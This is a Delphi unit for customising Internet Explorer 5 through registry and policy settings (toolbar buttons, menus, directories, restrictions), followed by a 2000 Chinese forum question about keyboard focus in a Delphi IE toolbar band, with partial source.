function AddToolbarBtn(Visible: Boolean; ConnType: TConnType; BtnText, HotIcon, Icon, GuidOrPath: string): string;

function AddMenuItem(ConnType: TconnType; MenuText, StatusBarText, GuidOrPath: string; HelpMenu: Boolean): string;

procedure AddExtMenuItem(MenuText, Url: string; Context, Flags: DWORD);

function RemoveMenuItem(MenuText: string): Boolean;

function RemoveToolbarBtn(BtnText: string): Boolean;

function RemoveExplorerBar(Title: string): Boolean;

function RemoveExtMenuItem(MenuText: string): Boolean;

(* Following functions are all enabled by default *)

//Favorites

function DisableFavorites(Disabled: Boolean): Boolean; // Favorites-menu removed

function DisableAddSubscriptions(Disabled: Boolean): Boolean;

//"Make available offline" disable on add-favorite dialog.

/// File-Menu Options

function DisableFileMenu(Disabled: Boolean): Boolean; //File menu Removed

function DisableFileOpen(Disabled: Boolean): Boolean;// Disable "Open frm File-menu"

function DisableFileNew(Disabled: Boolean): Boolean; //disable "New" from File-menu

function DisableSaveAs(Disabled: Boolean): Boolean; //User not asked for SaveAs-directory

function DisableClose(Disabled: Boolean): Boolean; // User cannot close IE

function DisableContextMenu(Disabled: Boolean): Boolean; //Disable right-click menu

function DisableTheaterMode(Disabled: Boolean): Boolean; //Theatermode not allowed

function DisableViewSource(Disabled: Boolean): Boolean; //Disable "view source" from View-menu

function DisableDownload(Disabled: Boolean): Boolean; //Disable download of zip-files etc.

function DisableOptions(Disabled: Boolean): Boolean; //"Internet Options" disabled on Tools-menu

// Disable tabs on "Internet options":

function DisableGeneralTab(Disabled: Boolean): Boolean;

function DisableSecurityTab(Disabled: Boolean): Boolean;

function DisableContentTab(Disabled: Boolean): Boolean;

function DisableConnectionsTab(Disabled: Boolean): Boolean;

function DisableProgramsTab(Disabled: Boolean): Boolean;

function DisableAdvancedTab(Disabled: Boolean): Boolean;

//Disable part of "Internet Options" tabs:

///// ON General Tab

function DisableHomepage(Disabled: Boolean): Boolean;

function DisableSettings(Disabled: Boolean): Boolean;

function DisableHistory(Disabled: Boolean): Boolean;

function DisableAccessibility(Disabled: Boolean): Boolean;

function DisableColors(Disabled: Boolean): Boolean;

function DisableFonts(Disabled: Boolean): Boolean;

function DisableLanguages(Disabled: Boolean): Boolean;

///// On Security Tab

function Disable(Disabled: Boolean): Boolean;

function DisableSecAddSites(Disabled: Boolean): Boolean;

function DisableSecChangeSettings(Disabled: Boolean): Boolean;

///// On Content Tab

function DisableProfiles(Disabled: Boolean): Boolean;

function DisableCertificates(Disabled: Boolean): Boolean;

function DisableRatings(Disabled: Boolean): Boolean;

function DisableWallet(Disabled: Boolean): Boolean;

function DisableResetWebSettings(Disabled: Boolean): Boolean;

///// On Connections Tab

function DisableConnectionWizard(Disabled: Boolean): Boolean;

function DisableConnectionSettings(Disabled: Boolean): Boolean;

///// On Programs Tab

function DisableMessaging(Disabled: Boolean): Boolean;

function DisableCalendarContact(Disabled: Boolean): Boolean;

function DisableCheckIfDefault(Disabled: Boolean): Boolean;

//Disable resizing/replacing of Toolbar

function DisableToolbarOptions(Disabled: Boolean): Boolean;

//Replace small and big animated Bitmap

function IEAddAnimatedBmp(FileName: string): Boolean;

function IEAddSmallAnimatedBmp(FileName: string): Boolean;

function IERemoveAnimatedBmp: Boolean;

function IERemoveSmallAnimatedBmp: Boolean;

//Replace Animated bitmap with fixed bitmap

function IEAddSmallBitmap(FileName: string): Boolean;

function IERemoveSmallBitmap: Boolean;

function IEAddBigBitmap(FileName: string): Boolean;

function IERemoveBigBitmap: Boolean;

// Set Toolbar-background Bitmap

function IEAddSkin(FileName: string): Boolean;

function IERemoveSkin: Boolean;

//Set windows Caption

function IEAddTitle(Title: string): Boolean;

function IERemoveTitle: Boolean;

(*

In the following functions can you use "Cmd" to Save and restore Default values:

SetCacheDirectory('C:\Temp\Cache', CMD_SAVE); //Set new Cache-Directory and save the old path.

SetCacheDirectory('', CMD_RESTORE); //restore the default Path.

*)

//Set Directories

function SetCacheDirectory(Folder: string; Cmd: Integer): Boolean;

function SetHistoryDirectory(Folder: string; Cmd: Integer): Boolean;

function SetFavoritesDirectory(Folder: string; Cmd: Integer): Boolean;

function SetCookiesDirectory(Folder: string; Cmd: Integer): Boolean;

function SetDownloadDirectory(Folder: string; Cmd: Integer): Boolean;

function SetSaveDirectory(Folder: string; Cmd: Integer): Boolean;

//Set Homepage

function SetStartPage(FileName: string; Cmd: Integer): Boolean;

//Replace standard information/Error-pages

function SetNavigationCanceled(FileName: string; Cmd: Integer): Boolean; //Navigation Canceled

function SetNavigationFailure(FileName: string; Cmd: Integer): Boolean; // Navigation Failure

function SetPostNotCached(FileName: string; Cmd: Integer): Boolean; // Post not Cached

function SetOfflineInformation(FileName: string; Cmd: Integer): Boolean; // Offline Information

implementation

function IEAboutUrlsSettings(Key, Filename: string; Cmd: Integer): Boolean;

var

Old, S: string;

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

if Cmd = Cmd or CMD_RESTORE then

begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', FALSE);

S := ReadString(Key);

CloseKey;

end

else S := Filename;

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Microsoft\Internet Explorer\AboutURLs', True);

Old := ReadString(Key);

WriteString(Key, S);

CloseKey;

if Cmd = Cmd or CMD_SAVE then begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', TRUE);

WriteString(Key, Old);

CloseKey;

end;

except

Result := FALSE;

end;

Reg.Free;

end;

function IESettings(Key, Folder: string; Cmd: Integer): Boolean;

var

Old, S: string;

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

if Cmd = Cmd or CMD_RESTORE then

begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', FALSE);

S := ReadString(Key);

CloseKey;

end

else S := Folder;

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Microsoft\Internet Explorer', True);

Old := ReadString(Key);

WriteString(Key, S);

CloseKey;

if Cmd = Cmd or CMD_SAVE then begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', TRUE);

WriteString(Key, Old);

CloseKey;

end;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEInfoDeliverySettings(Key: string; Disabled: Boolean): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('SOFTWARE\Policies\Microsoft\Internet Explorer\Infodelivery\Restrictions', True);

WriteInteger(Key, Integer(Disabled));

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEMainSettings(Key, Value: string; Cmd: Integer): Boolean;

var

Old, S: string;

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

if Cmd = Cmd or CMD_RESTORE then

begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', FALSE);

S := ReadString(Key);

CloseKey;

end

else S := Value;

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Microsoft\Internet Explorer\Main', True);

if cmd = CMD_DELETE then DeleteValue(Key) else

begin

Old := ReadString(Key);

WriteString(Key, S);

CloseKey;

if Cmd = Cmd or CMD_SAVE then begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', TRUE);

WriteString(Key, Old);

CloseKey;

end;

end;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEShellFoldersSettings(Key, Folder: string; Cmd: Integer): Boolean;

var

Old, S: string;

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

if (Cmd = Cmd or CMD_RESTORE) then

begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', FALSE);

S := ReadString(Key);

CloseKey;

end

else S := Folder;

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders', True);

Old := ReadString(Key);

WriteString(Key, S);

CloseKey;

if (Cmd = Cmd or CMD_SAVE) then begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Settings', TRUE);

WriteString(Key, Old);

CloseKey;

end;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEToolbarRestrictionsSettings(Key: string; Disabled: Boolean): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Policies\Microsoft\Internet Explorer\Toolbars\Restrictions', True);

WriteInteger(Key, Integer(Disabled));

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function IERestrictionsSettings(Key: string; Disabled: Boolean): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Policies\Microsoft\Internet Explorer\Restrictions', True);

WriteInteger(Key, Integer(Disabled));

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEControlPanelSettings(Key: string; Disabled: Boolean): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Policies\Microsoft\Internet Explorer\Control Panel', True);

WriteInteger(Key, Integer(Disabled));

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEExplorerPoliciesSettings(Key: string; Disabled: Boolean): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer', True);

WriteInteger(Key, Integer(Disabled));

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function IEAddBitmap(Key, FileName: string): Boolean;

var

reg: TRegistry;

begin

Result := TRUE;

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('\Software\Microsoft\Internet Explorer\Toolbar', True);

if FileName <> '' then

WriteString(Key, FileName)

else

DeleteValue(Key);

CloseKey;

except

Result := FALSE;

end;

Reg.Free;

end;

function DisableAddSubscriptions(Disabled: Boolean): Boolean;

begin

Result := IEInfoDeliverySettings('NoAddingSubScriptions', Disabled);

end;

function SetNavigationCanceled(FileName: string; Cmd: Integer): Boolean;

begin

Result := IEAboutUrlsSettings('NavigationCanceled', Filename, Cmd);

end;

function SetNavigationFailure(FileName: string; Cmd: Integer): Boolean;

begin

Result := IEAboutUrlsSettings('NavigationFailure', Filename, Cmd);

end;

function SetPostNotCached(FileName: string; Cmd: Integer): Boolean;

begin

Result := IEAboutUrlsSettings('PostNotCached', Filename, Cmd);

end;

function SetOfflineInformation(FileName: string; Cmd: Integer): Boolean;

begin

Result := IEAboutUrlsSettings('OfflineInformation', Filename, Cmd);

end;

function SetStartPage(FileName: string; Cmd: Integer): Boolean;

begin

Result := IEMainSettings('Start Page', FileName, Cmd);

end;

function IERemoveTitle: Boolean;

begin

result := IEMainSettings('Window Title', '', CMD_DELETE);

end;

function IEAddTitle(Title: string): Boolean;

begin

result := IEMainSettings('Window Title', Title, CMD_SET);

end;

function SetSaveDirectory(Folder: string; Cmd: Integer): Boolean;

begin

result := IEMainSettings('Save Directory', Folder, Cmd);

end;

function SetDownloadDirectory(Folder: string; Cmd: Integer): Boolean;

begin

Result := IESettings('Download Directory', Folder, Cmd);

end;

function SetCacheDirectory(Folder: string; Cmd: Integer): Boolean;

begin

Result := IEShellFoldersSettings('Cache', Folder, Cmd);

end;

function SetHistoryDirectory(Folder: string; Cmd: Integer): Boolean;

begin

Result := IEShellFoldersSettings('History', Folder, Cmd);

end;

function SetFavoritesDirectory(Folder: string; Cmd: Integer): Boolean;

begin

Result := IEShellFoldersSettings('Favorites', Folder, Cmd);

end;

function SetCookiesDirectory(Folder: string; Cmd: Integer): Boolean;

begin

Result := IEShellFoldersSettings('Cookies', Folder, Cmd);

end;

function DisableToolbar(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('NoToolBar', Disabled);

end;

function DisableToolbarOptions(Disabled: Boolean): Boolean;

begin

Result := IEToolbarRestrictionsSettings('NoToolbarOptions', Disabled);

end;

function DisableFavorites(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoFavorites', Disabled);

end;

function DisableFileMenu(Disabled: Boolean): Boolean;

begin

Result := IEExplorerPoliciesSettings('NoFileMenu', Disabled);

end;

function DisableContextMenu(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoBrowserContextMenu', Disabled);

end;

function DisableFileOpen(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoFileOpen', Disabled);

end;

function DisableFileNew(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoFileNew', Disabled);

end;

function DisableSaveAs(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoBrowserSaveAs', Disabled);

end;

function DisableClose(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoBrowserClose', Disabled);

end;

function DisableOptions(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoBrowserOptions', Disabled);

end;

function DisableTheaterMode(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoTheaterMode', Disabled);

end;

function DisableViewSource(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoViewSource', Disabled);

end;

function DisableDownload(Disabled: Boolean): Boolean;

begin

Result := IERestrictionsSettings('NoSelectDownloadDir', Disabled);

end;

function DisableGeneralTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('GeneralTab', Disabled);

end;

function DisableHomepage(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Homepage', Disabled);

end;

function DisableSettings(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Settings', Disabled);

end;

function DisableHistory(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('History', Disabled);

end;

function DisableAccessibility(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Accessibility', Disabled);

end;

function DisableColors(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Colors', Disabled);

end;

function DisableFonts(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Fonts', Disabled);

end;

function DisableLanguages(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Languages', Disabled);

end;

///// Internet Options Security Tab

function DisableSecurityTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('SecurityTab', Disabled);

end;

function Disable(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('', Disabled);

end;

function DisableSecAddSites(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('SecAddSites', Disabled);

end;

function DisableSecChangeSettings(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('SecChangeSettings', Disabled);

end;

///// Internet Options - Content Tab

function DisableContentTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('ContentTab', Disabled);

end;

function DisableProfiles(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Profiles', Disabled);

end;

function DisableCertificates(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Certificates', Disabled);

end;

function DisableRatings(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Ratings', Disabled);

end;

function DisableWallet(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Wallet', Disabled);

end;

function DisableResetWebSettings(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('ResetWebSettings', Disabled);

end;

///// Internet Options - Connections Tab

function DisableConnectionsTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('', Disabled);

end;

function DisableConnectionWizard(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Connwiz Admin Lock', Disabled);

end;

function DisableConnectionSettings(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Connection Settings', Disabled);

end;

///// Internet Options - Programs Tab

function DisableProgramsTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('ProgramsTab', Disabled);

end;

function DisableMessaging(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Messaging', Disabled);

end;

function DisableCalendarContact(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('CalendarContact', Disabled);

end;

function DisableCheckIfDefault(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('Check_If_Default', Disabled);

end;

///// Internet Options - Advanced Tab

function DisableAdvancedTab(Disabled: Boolean): Boolean;

begin

Result := IEControlPanelSettings('AdvancedTab', Disabled);

end;

function IEAddSkin(FileName: string): Boolean;

begin

Result := IEAddBitmap('BackBitmapIE5', FileName);

end;

function IERemoveSkin: Boolean;

begin

Result := IEAddBitmap('BackBitmapIE5', '');

end;

function IEAddSmallBitmap(FileName: string): Boolean;

begin

Result := IEAddBitmap('SmallBitMap', FileName);

end;

function IERemoveSmallBitmap: Boolean;

begin

Result := IEAddBitmap('SmallBitMap', '');

end;

function IEAddBigBitmap(FileName: string): Boolean;

begin

Result := IEAddBitmap('BigBitMap', FileName);

end;

function IERemoveBigBitmap: Boolean;

begin

Result := IEAddBitmap('BigBitMap', '');

end;

function IEAddAnimatedBmp(FileName: string): Boolean;

begin

Result := IEAddBitmap('BrandBitMap', FileName);

end;

function IERemoveAnimatedBmp: Boolean;

begin

Result := IEAddBitmap('BrandBitMap', '');

end;

function IEAddSmallAnimatedBmp(FileName: string): Boolean;

begin

Result := IEAddBitmap('SmBrandBitMap', FileName);

end;

function IERemoveSmallAnimatedBmp: Boolean;

begin

Result := IEAddBitmap('SmBrandBitMap', '');

end;

procedure AddExtMenuItem(MenuText, Url: string; Context, Flags: DWORD);

var

reg: TRegistry;

begin

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

OpenKey('\Software\Microsoft\Internet Explorer\MenuExt\' + MenuText, True);

WriteString('', Url);

WriteBinaryData('Context', Context, SizeOf(Context));

WriteBinaryData('Flags', Flags, SizeOf(Flags));

CloseKey;

finally

Free;

end;

end;

function RemoveExtMenuItem(MenuText: string): Boolean;

var

reg: TRegistry;

begin

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CURRENT_USER;

Result := DeleteKey('\Software\Microsoft\Internet Explorer\MenuExt\' + MenuText);

finally

Free;

end;

end;

function AddExplorerBar(Title, Url: string; BarSize: Int64; Vertical: Boolean): string;

const

VERTICAL_BAR = '{00021493-0000-0000-C000-000000000046}';

HORIZONTAL_BAR = '{00021494-0000-0000-C000-000000000046}';

EXPLORERBAR_ID = '{4D5C8C2A-D075-11d0-B416-00C04FB90376}';

var

G: TGUID;

SystemDir, UID: string;

Reg: TRegistry;

begin

CoCreateGuid(G);

UID := GuidToString(G);

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_CLASSES_ROOT;

OpenKey('\CLSID\' + UID, True);

WriteString('', Title);

CloseKey;

CreateKey('\CLSID\' + UID + '\Implemented Categories');

if Vertical then

CreateKey('\CLSID\' + UID + '\Implemented Categories\' + VERTICAL_BAR) else

CreateKey('\CLSID\' + UID + '\Implemented Categories\' + HORIZONTAL_BAR);

SetLength(SystemDir, 255);

GetSystemDirectory(PChar(SystemDir), 255);

SystemDir := PChar(SystemDir) + '\SHDOCVW.DLL';

OpenKey('\CLSID\' + UID + '\InProcServer32', True);

Writestring('', SystemDir);

WriteString('Threadingmodel', 'Apartment');

CloseKey;

OpenKey('\CLSID\' + UID + '\Instance', True);

WriteString('CLSID', EXPLORERBAR_ID);

CloseKey;

OpenKey('\CLSID\' + UID + '\Instance\InitPropertyBag', True);

WriteString('Url', URL);

CloseKey;

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\Microsoft\Internet Explorer\Explorer Bars\' + UID, True);

WriteBinaryData('BarSize', BarSize, SizeOf(BarSize));

CloseKey;

OpenKey('\Software\IE5Tools\Explorer Bars\', True);

WriteString(Title, UID);

CloseKey;

finally

Free;

end;

result := UID;

end;

function AddToolbarBtn(Visible: Boolean; ConnType: TConnType; BtnText, HotIcon, Icon, GuidOrPath: string): string;

var

G: TGUID;

Reg: TRegistry;

UID: string;

begin

CoCreateGuid(G);

UID := GuidToString(G);

Reg := TRegistry.Create;

with Reg do try

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('\Software\Microsoft\Internet Explorer\Extensions\' + UID, True);

if Visible then

WriteString('Default Visible', 'Yes') else

WriteString('Default Visible', 'No');

WriteString('ButtonText', BtnText);

WriteString('HotIcon', HotIcon);

WriteString('Icon', Icon);

case ConnType of

COM_OBJECT: begin

WriteString('CLSID', '{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}');

WriteString('ClsidExtension', GuidOrPath);

end;

EXPLORER_BAR:

begin

WriteString('CLSID', '{E0DD6CAB-2D10-11D2-8F1A-0000F87ABD16}');

WriteString('BandCLSID', GuidOrPath);

end;

SCRIPT:

begin

writeString('CLSID', '{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}');

WriteString('Script', GuidOrPath);

end;

EXECUTABLE:

begin

WriteString('CLSID', '{1FBA04EE-3024-11D2-8F1F-0000F87ABD16}');

WriteString('Exec', GuidOrPath);

end;

end;

CloseKey;

OpenKey('\Software\IE5Tools\ToolBar Buttons\', True);

WriteString(BtnText, UID);

CloseKey;

finally

Free;

end;

Result := UID;

end;

function AddMenuItem(ConnType: TconnType; MenuText, StatusBarText, GuidOrPath: string; HelpMenu: Boolean): string;

var

G: TGUID;

UID: string;

Reg: TRegistry;

begin

CoCreateGuid(G);

UID := GuidToString(G);

Reg := TRegistry.Create;

with Reg do begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('\Software\Microsoft\Internet Explorer\Extensions\' + UID, True);

if HelpMenu then WriteString('MenuCostumize', 'help');

WriteString('CLSID', '{1FBA04EE-3024-11d2-8F1F-0000F87ABD16}');

WriteString('MenuText', MenuText);

WriteString('MenuStatusBar', StatusBarText);

case ConnType of

COM_OBJECT: WriteString('ClsidExtension', GuidOrPath);

SCRIPT: WriteString('Script', GuidOrPath);

EXECUTABLE: WriteString('Exec', GuidOrPath);

end;

CloseKey;

OpenKey('\Software\IE5Tools\Menu Items\', True);

WriteString(MenuText, UID);

CloseKey;

Free;

end;

Result := UID;

end;

function RemoveMenuItem(MenuText: string): Boolean;

var

Reg: TRegistry;

UID: string;

begin

Reg := TRegistry.Create;

with Reg do begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('Software\IE5Tools\Menu Items\', False);

UID := ReadString(MenuText);

if length(UID) = 38 //Just to be sure

then begin

DeleteValue(MenuText);

CloseKey;

DeleteKey('\Software\Microsoft\Internet Explorer\Extensions\' + UID);

free;

Result := True;

end else

Result := True;

end;

end;

function RemoveToolbarBtn(BtnText: string): Boolean;

var

Reg: TRegistry;

UID: string;

begin

Reg := TRegistry.Create;

with Reg do begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('\Software\IE5Tools\ToolBar Buttons\', False);

UID := ReadString(BtnText);

if length(UID) = 38 then begin

DeleteValue(BtnText);

CloseKey;

DeleteKey('\Software\Microsoft\Internet Explorer\Extensions\' + UID);

free;

Result := True;

end else

Result := True;

end;

end;

function RemoveExplorerBar(Title: string): Boolean;

var

Reg: TRegistry;

UID: string;

begin

Reg := TRegistry.Create;

with Reg do begin

RootKey := HKEY_LOCAL_MACHINE;

OpenKey('\Software\IE5Tools\Explorer Bars\', False);

UID := ReadString(Title);

if length(UID) = 38 then begin

DeleteValue(Title);

CloseKey;

DeleteKey('\Software\Microsoft\Internet Explorer\Explorer Bars\' + UID);

RootKey := HKEY_CLASSES_ROOT;

// Need explicitly delete subkeys for Win NT

DeleteKey('\CLSID\' + UID + '\Instance\InitPropertyBag');

DeleteKey('\CLSID\' + UID + '\Instance');

DeleteKey('\CLSID\' + UID + '\Implemented Categories\VERTICAL_BAR');

DeleteKey('\CLSID\' + UID + '\Implemented Categories\HORIZONTAL_BAR');

DeleteKey('\CLSID\' + UID + '\Implemented Categories');

DeleteKey('\CLSID\' + UID + '\InProcServer32');

DeleteKey('\CLSID\' + UID);

Free;

Result := True;

end else

Result := True;

end;

end;

end.


窗口嵌入到IE的工具栏中

主　　题：高分求教，我的窗口嵌入到IE的工具栏中，

作　　者：sundyl

所属论坛：Visual C++

问题点数：300

回复次数：3

发表时间：2000-9-27 22:19:00

我的窗口嵌入到IE的工具栏中，但是无法用TAB键从其他窗口转入到我的窗口中，但可以从我的窗口转出。而且，很奇怪不能就受到退格键，鼠标的消息好像也不太正常。

当IE的工具栏有背景图案的时候，我的窗口有没有。

出了什么问题。

我可以提供我的程序（Delphi），能帮忙看看吗

http://go.163.com/~sundyl/iebar.zip

回复贴子：

回复人：sundyl(2000-9-27 22:25:00) 得0分

不好意思，go.163.com连接不上，我就把程序放到这里吧(两个文件)

1.main.pas

==========================================================================

unit main;

interface

uses

Windows, ActiveX, ComObj, ShlObj, Bar, SHDocVw;

Type

TBarType=(btInfo,btDesk,btComm,btToolbar);

const

BarName='测试工具栏';

BarType=btToolbar;

MIN_SIZE_X=80;

MIN_SIZE_Y=24;

Class_IEBar: TGUID = '{222CCD87-2240-11D4-97C2-0000E8974CF6}';

IID_IOleWindow:TGUID='{00000114-0000-0000-C000-000000000046}';

IID_IInputObjectSite:TGUID=SID_IInputObjectSite;

SID_Extension='{7C4A7901-224E-11D4-97C2-0000E8974CF6}';

CATID_DeskBand:TGUID=(D1:$00021492; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

CATID_InfoBand:TGUID=(D1:$00021493; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

CATID_CommBand:TGUID=(D1:$00021494; D2:$0000; D3:$0000; D4:($C0,$00,$00,$00,$00,$00,$00,$46));

type

TIEBar = Class(TComObject,IDeskBand,IObjectWithSite,IPersistStream)

private

FBandID:DWORD;

FViewMode:DWORD;

Site: IInputObjectSite;

cmdTarget: IOleCommandTarget;

IE:IWebBrowser2;

ParentWnd:HWnd;

frmBar: TfrmBar;

protected

//IDeskBand = interface(IDockingWindow)[SID_IDeskBand]

function GetBandInfo(dwBandID, dwViewMode: DWORD; var pdbi: TDeskBandInfo):HResult; stdcall;

//IDockingWindow = interface(IOleWindow)[SID_IDockingWindow]

function ShowDW(fShow: BOOL): HResult; stdcall;

function CloseDW(dwReserved: DWORD): HResult; stdcall;

function ResizeBorderDW(var prcBorder: TRect; punkToolbarSite: IUnknown;fReserved: BOOL): HResult; stdcall;

//IOleWindow = interface(IUnknown)['{00000114-0000-0000-C000-000000000046}']

function GetWindow(out wnd: HWnd): HResult; stdcall;

function ContextSensitiveHelp(fEnterMode: BOOL): HResult; stdcall;

//IObjectWithSite = interface ['{FC4801A3-2BA9-11CF-A229-00AA003D7352}']

function SetSite(const pUnkSite: IUnknown ):HResult; stdcall;

function GetSite(const riid: TIID; out site: IUnknown):HResult; stdcall;

//IPersistStream = interface(IPersist) ['{00000109-0000-0000-C000-000000000046}']

function IsDirty: HResult; stdcall;

function Load(const stm: IStream): HResult; stdcall;

function Save(const stm: IStream; fClearDirty: BOOL): HResult; stdcall;

function GetSizeMax(out cbSize: Largeint): HResult; stdcall;

//IPersist = interface(IUnknown)['{0000010C-0000-0000-C000-000000000046}']

function GetClassID(out classID: TCLSID): HResult; stdcall;

//IInputObject = interface(IUnknown) [SID_IInputObject]

function UIActivateIO(fActivate: BOOL; var lpMsg: TMsg): HResult; stdcall;

function HasFocusIO: HResult; stdcall;

function TranslateAcceleratorIO(var lpMsg: TMsg): HResult; stdcall;

public

//TComObject

procedure Initialize; Override;

end;

implementation

uses ComServ, SysUtils, ShellApi, registry;

{$R BarIcon.res}

{ TIEBar }

function TIEBar.CloseDW(dwReserved: DWORD): HResult;

begin

if Assigned(frmBar) then

begin

frmBar.Free;

frmBar := nil;

end;

Result := S_OK;

end;

function TIEBar.ContextSensitiveHelp(fEnterMode: BOOL): HResult;

begin

Result := S_OK;

end;

function TIEBar.GetBandInfo(dwBandID, dwViewMode: DWORD;

var pdbi: TDeskBandInfo): HResult;

begin

FBandID := dwBandID;

FViewMode := dwViewMode;

if (pdbi.dwMask and DBIM_MINSIZE)>0 then

begin

pdbi.ptMinSize.x := MIN_SIZE_X;

pdbi.ptMinSize.y := MIN_SIZE_Y;

end;

if(pdbi.dwMask and DBIM_MAXSIZE)>0 then

begin

pdbi.ptMaxSize.x := -1;

pdbi.ptMaxSize.y := -1;

end;

//如果设置了这个就可以调整大小

{if (pdbi.dwMask and DBIM_INTEGRAL)>0 then

begin

pdbi.ptIntegral.x := 1;

pdbi.ptIntegral.y := 1;

end;}

if (pdbi.dwMask and DBIM_ACTUAL)>0 then

begin

pdbi.ptActual.x := 0;

pdbi.ptActual.y := 0;

end;

if (pdbi.dwMask and DBIM_MODEFLAGS)>0 then

pdbi.dwModeFlags := DBIMF_VARIABLEHEIGHT;

Result := S_OK;

end;

function TIEBar.GetClassID(out classID: TCLSID): HResult;

begin

classID := Class_IEBar;

Result := S_OK;

end;

function TIEBar.GetSite(const riid: TIID; out site: IUnknown): HResult;

begin

if Assigned(Site) then

Result := Site.QueryInterface(riid, site)

else

Result := E_FAIL;

end;

function TIEBar.GetSizeMax(out cbSize: Largeint): HResult;

begin

cbSize := 0;

Result := E_NOTIMPL;

end;

function TIEBar.GetWindow(out wnd: HWnd): HResult;

begin

if not Assigned(frmBar) then

begin

frmBar := TfrmBar.CreateParented(ParentWnd);

frmBar.WebBrow := IE;

end;

wnd := frmBar.Handle;

Result := S_OK;

end;

function TIEBar.HasFocusIO: HResult;

begin

